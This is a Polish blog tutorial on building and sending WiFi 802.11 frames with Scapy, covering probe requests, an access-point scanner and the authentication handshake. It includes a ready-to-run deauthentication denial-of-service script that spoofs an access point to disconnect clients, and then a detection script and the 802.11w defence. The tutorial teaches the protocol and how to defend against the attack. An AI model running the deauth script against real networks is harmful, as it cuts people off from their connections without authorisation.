Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Generowanie komunikacji WiFi w narzędziu Scapy

05 września 2016, 19:40 | Narzędzia, Teksty | komentarze 3

Scapy i WiFi

Scapy to program służący do manipulowania pakietami. Na sekuraku opisywany był już kilka razy. W tym tekście pokażę, jak wykorzystać go do komunikacji w sieci w standardzie 802.11.

Podstawy

Komunikaty wymieniane między punktem dostępowym a klientami uformowane są w ramki. Każda zgodna ze standardem ramka ma poniższą strukturę:

  • nagłówek MAC:
    • pole kontrolne (wersja, typ, podtyp),
    • czas trwania/ID,
    • kontrola sekwencji,
    • pola adresowe,
  • treść,
  • suma kontrolna crc.
Rys. 1 Ramka MAC

Rys. 1 Ramka MAC

W polach adresowych możemy zdefiniować pięć adresów MAC: stacji przeznaczenia, odbiorcy, przekaźnika, źródła oraz BSSID (unikalny identyfikator stacji, zazwyczaj odpowiadający adresowi MAC interfejsu bezprzewodowego). Typ i podtyp definiuje funkcje ramki, natomiast wersja to zawsze dwa zerowe bity.

Tabela 1. Typy i podtypy ramek

Tabela 1. Typy i podtypy ramek

Reprezentacja ramki w Scapy jest bardzo prosta, podobnie jak jej wysłanie. Jednak przed rozpoczęciem komunikacji, musimy odpowiednio skonfigurować kartę sieciową. Po pierwsze – ustawiamy ją w tryb monitorowania (monitor mode). Dzięki temu będziemy odbierać wszystkie pakiety, a nie tylko te przeznaczone dla nas.

[root@gros]$ ifconfig wlp5s0 down
[root@gros]$ iwconfig wlp5s0 mode monitor
[root@gros]$ ifconfig wlp5s0 up

wlp5s0 to nazwa naszego interfejsu bezprzewodowego.
Następnie ustawiamy kanał (częstotliwość), którego używa nasz Access Point. Można go sprawdzić w panelu administracyjnym AP lub ustawiać kolejne kanały, do momentu trafienia właściwego.

[root@gros]$ iwconfig wlp5s0 channel 11

Potrzebny będzie nam też adres MAC naszego interfejsu. Można go sprawdzić poniższym poleceniem:

[root@gros]$ ip link show wlp5s0

Teraz możemy wysłać ramkę typu probe request. Adres odbiorcy ustawiony jest na rozgłoszeniowy, pozostałe zmienne należy odpowiednio ustawić:

#!/usr/bin/env python
from scapy.all import *

adres_mac_odbiorcy = 'ff:ff:ff:ff:ff:ff'
twoj_adres_mac = '02:26:12:43:37:f5'
ssid = 'Sc45y + W1F1'
kanal = chr(11)
interfejs = 'wlp5s0'

ramka = RadioTap()\
      /Dot11(type=0, subtype=4, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\
      /Dot11ProbeReq()\
      /Dot11Elt(ID='SSID', info=ssid)\
      /Dot11Elt(ID='Rates', info='\x82\x84\x8b\x96\x0c\x12\x18')\
      /Dot11Elt(ID='ESRates', info='\x30\x48\x60\x6c')\
      /Dot11Elt(ID='DSset', info=kanal)
odpowiedz = srp1(ramka, iface=interfejs)
odpowiedz.show()

Ramka WiFi składa się z „warstw”. Scapy pozwala na składanie kolejnych warstw poprzez przeładowany operator „/”.
RadioTap to dodatkowa (nie będąca częścią standardu) warstwa, ułatwiająca przekazywanie informacji między warstwami OSI – będziemy zawsze dołączać ją na początku ramki.
Kolejną warstwę stanowi nagłówek MAC, reprezentowany przez klasę Dot11 (Dot11 to skrócona nazwa specyfikacji 802.11). Tutaj określamy typ, podtyp oraz adresy. Numeracja adresów jest następująca:

  • addr1 – przeznaczenie/odbiorca
  • addr2 – przekaźnik/źródło
  • addr3 – BSSID

Kolejne warstwy stanowią właściwą treść ramki i zależą od podanego wcześniej typu. Scapy posiada kilka zdefiniowanych warstw, określających funkcje ramki (Dot11Beacon, Dot11ProbeReq, Dot11Auth, Dot11AssoReq…). Pozostałe musielibyśmy stworzyć ręcznie.
Na końcu, w warstwach Dot11Elt, umieszczamy niezbędne informacje: SSID, obsługiwane szybkości (maksymalnie osiem), dodatkowe obsługiwane szybkości, używany kanał.
Poleceniem srp1() wysyłamy stworzoną ramkę i czekamy na odpowiedź, którą następnie wypisujemy.

Rys.2 Wygląd ramki w programie Wireshark

Rys.2 Wygląd ramki w programie Wireshark

Wykrywanie Punktów Dostępowych

Komunikacja odbywająca się w omawianej warstwie ma cztery główne cele: skanowanie, uwierzytelnianie, przyłączanie i szyfrowanie.

Skanowanie sieci dzieli się na aktywne i pasywne. Pasywne polega na nasłuchiwaniu w celu wychwycenia ramek typu beacon. Ramki te są wysyłane przez AP na adres rozgłoszeniowy (ff:ff:ff:ff:ff:ff) i zawierają m.in. adres SSID oraz numer używanego kanału.

Jeśli nie chcemy czekać na pojawienie się ramki beacon, możemy skanować sieć aktywnie, wysyłając (zaprezentowaną wcześniej) ramkę probe request (jako adres odbiorcy podając adres punktu dostępowego lub rozgłoszeniowy). Jeśli AP jest w zasięgu, powinien odpowiedzieć ramką probe response.

Mając te informacje, możemy stworzyć prosty skaner sieci. Ponieważ urządzenia mogą komunikować się na różnych częstotliwościach, należy zmieniać kanały używane przez naszą kartę sieciową (channel hopping). W terminalu wpisujemy:

[root@gros]$ iwlist wlp5s0 channel
[root@gros]$ while true; do
  for x in {1..13} {36..64..4} {100..140..4}; do
    iwconfig wlp5s0 channel $x;
    echo "Ustawiono kanal: $x"
    sleep 0.3;
  done
  clear;
done

Pierwsze polecenie wyświetli listę dostępnych kanałów. Następnie – w odstępie 0.3 sekundy – zmieniamy używaną częstotliwość. Kanały 1-13 odpowiadają częstotliwości ~2.4GHz, kolejne ~5GHz.
Teraz – w nowym oknie konsoli, uruchamiamy skrypt wykrywający punkty dostępowe:

#!/usr/bin/env python
from scapy.all import *

interfejs = 'wlp5s0'

znane={}
def callback(ramka):
  if ramka.haslayer(Dot11):
    if ramka.haslayer(Dot11Beacon) or ramka.haslayer(Dot11ProbeResp):

      zrodlo=ramka[Dot11].addr2
      if zrodlo not in znane:
        ssid = ramka[Dot11Elt][0].info
        kanal = ramka[Dot11Elt][2].info
        kanal = int(kanal.encode('hex'), 16)
        print "SSID: '{}', BSSID: {}, kanal: {}".format(ssid, zrodlo, kanal)
        znane[zrodlo]=True

sniff(iface=interfejs, prn=callback)

Na początku definiujemy słownik, w którym będziemy umieszczać już rozpoznane punkty dostępowe. Następnie tworzymy funkcję callback, która będzie wywoływana w momencie wychwycenia każdej ramki. Jej zadaniem jest wyfiltrowanie ramek z warstwą beacon lub probe response oraz wyciągnięcie z nich interesujących nas informacji (SSID, BSSID, kanał). W ostatniej linii uruchamiamy sniffer.

Połączenie

W przypadku normalnej komunikacji, po znalezieniu odpowiedniego AP następują dwie fazy połączenia, uwierzytelnianie i asocjacja:

Rys.3. Stany Źródło: http://www.packet6.com/wp-content/uploads/2015/09/802.11-State-Machine.gif

Rys.3. Stany
Źródło: http://www.packet6.com/wp-content/uploads/2015/09/802.11-State-Machine.gif

W Scapy, powyższy proces można zaprogramować w ten sposób:

#!/usr/bin/env python
from scapy.all import *

adres_mac_odbiorcy = '05:12:54:15:54:11'
twoj_adres_mac = '02:26:12:43:37:f5'
ssid = 'Sc45y + W1F1'
kanal = chr(11)
interfejs = 'wlp5s0'

ALGO_OPEN_AUTH = 0  # tryb otwartego uwierzytelniania
START_SEQNUM = 1  # numer sekwencyjny

#uwierzytelnienie
ramka1 = RadioTap()\
      /Dot11(type=0, subtype=11, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\
      /Dot11Auth(algo=ALGO_OPEN_AUTH, seqnum=START_SEQNUM)
odpowiedz = srp1(ramka1, iface=interfejs)
odpowiedz.show()

#asocjacja
ramka2 = RadioTap()\
      /Dot11(type=0, subtype=0, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\
      /Dot11AssoReq()\
      /Dot11Elt(ID='SSID', info=ssid)\
      /Dot11Elt(ID='Rates', info='\x82\x84\x8b\x96\x0c\x12\x18')\
      /Dot11Elt(ID='ESRates', info='\x30\x48\x60\x6c')
odpowiedz = srp1(ramka2, iface=interfejs)
odpowiedz.show()

Deauth, ARP spoofing…

Jednym z bardziej znanych ataków na sieci WiFi, jest Deauthentication DoS, pozwalający na rozłączenie wybranego klienta od punktu dostępowego. Jest banalny do przeprowadzenia i nie wymaga uwierzytelnienia. Jedyne co potrzebujemy, to BSSID punktu dostępowego oraz, ewentualnie, naszego celu. Całość polega na ciągłym wysyłaniu ramek deauth, podszywając się pod AP. Jeśli jako adres docelowy podamy rozgłoszeniowy, przerwiemy połączenie ze wszystkimi stacjami. Atak jest możliwy z powodu niedopracowania standardu: ramki zarządzania, w przeciwieństwie do ramek danych i kontrolnych, nie są szyfrowane.

#!/usr/bin/env python
from scapy.all import *

adres_mac_celu = 'ff:ff:ff:ff:ff:ff'
adres_mac_AP = '05:12:54:15:54:11'
interfejs = 'wlp5s0'

ilosc = 10
opoznienie = 2

print "Atak deauth z {} na {}".format(adres_mac_AP, adres_mac_celu)
while True:
  ramka = RadioTap()\
        /Dot11(type=0, subtype=12, addr1=adres_mac_celu, addr2=adres_mac_AP, addr3=adres_mac_AP)\
        /Dot11Deauth(reason=7)
  sendp(ramka, iface=interfejs, count=ilosc)
  time.sleep(opoznienie)

Wykrycie tego ataku jest równie proste, wystarczy zliczać ilość ramek deauth. Przykładowy skrypt realizujący to zadanie:

#!/usr/bin/env python
from scapy.all import *

wykryte = {}
przedawnienie = 60
opoznienie = -256

def callback(ramka):
  if ramka.haslayer(Dot11Deauth):
    odbiorca = ramka[Dot11].addr1
    zrodlo = ramka[Dot11].addr2

    if wykryte.has_key(odbiorca) and (time.time() - wykryte[odbiorca]['czas'] < przedawnienie):
        wykryte[odbiorca]['ilosc']+=1
    else:
      wykryte[odbiorca]={'ilosc':0, 'czas':time.time()}

    if wykryte[odbiorca]['ilosc'] > 10:
      print "Atak deauth z adresu {} na {}".format(zrodlo, odbiorca)
      wykryte[odbiorca]['ilosc'] = opoznienie

sniff(iface='wlp5s0', prn=callback)

Zdecydowanie gorzej ma się sprawa ze zlokalizowaniem atakującego. W zasadzie jedyną opcją jest pomiar siły sygnału w kilku miejscach i ustalenie źródła na zasadzie triangulacji, co nie jest prostą sprawą. W celu obrony przed tymi (i podobnymi) atakami wprowadzono poprawkę 802.11w (Management Frame Protection). Umożliwia ona szyfrowanie niektórych ramek zarządzających. Obsługują ją linuxy (domyślnie wyłączone), Windows od wersji 8 oraz nowszy sprzęt sieciowy.

W podobny sposób możemy wykrywać inne popularne ataki, np. ARP poisoning czy Evil Twin AP. Takie rozwiązania polegają zazwyczaj na porównywaniu otrzymywanych informacji z tymi, które zapisaliśmy wcześniej w bazie danych. Za pomocą Scapy, dość prosto można stworzyć podstawowe narzędzia umożliwiające takie działania. Można też użyć bardziej zaawansowanych programów, np EvilAP_Defender lub ArpON.

Paweł Płatek

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Q

    Bawił się ktoś „podmianą” bitów w ramkach wifi? Czy w ten sposób można próbować złamać szyfrowanie?

    Odpowiedz
  2. Mam problem z wysyłaniem ramek deauth.
    Mimo, ze skrypt wykonuje sie bezblednie, karta jest ustawiona w tryb monitorowania, a kanal odpowiada kanalowi AP’a, to urzadzenia podlaczone do sieci nie otrzymuja wysylanych ramek. Dodam, ze probowalem roznych wariacji tego typu skryptow.

    Czy problem moze polegac na nieporwanej instalacji Scapy?

    Lenovo-Z70-80:~$ sudo scapy
    INFO: Can’t import python gnuplot wrapper . Won’t be able to plot.
    INFO: Can’t import PyX. Won’t be able to use psdump() or pdfdump().
    WARNING: No route found for IPv6 destination :: (no default route?)
    INFO: Can’t import python Crypto lib. Won’t be able to decrypt WEP.
    INFO: Can’t import python Crypto lib. Disabled certificate manipulation tools
    Welcome to Scapy (2.2.0)

    Tutaj opisalem swoje nieudane proby:
    http://askubuntu.com/questions/840843/sending-packets-with-scapy

    Odpowiedz
    • A próbowałeś na nowszej wersji scapy? Oni w WiFi sporo tam teraz robią (najnowsza wersja to 2.3.2). Nie pamiętam dokładnie ale może być i z 2 lata nowsza niż to co masz ;)

      Odpowiedz

Odpowiedz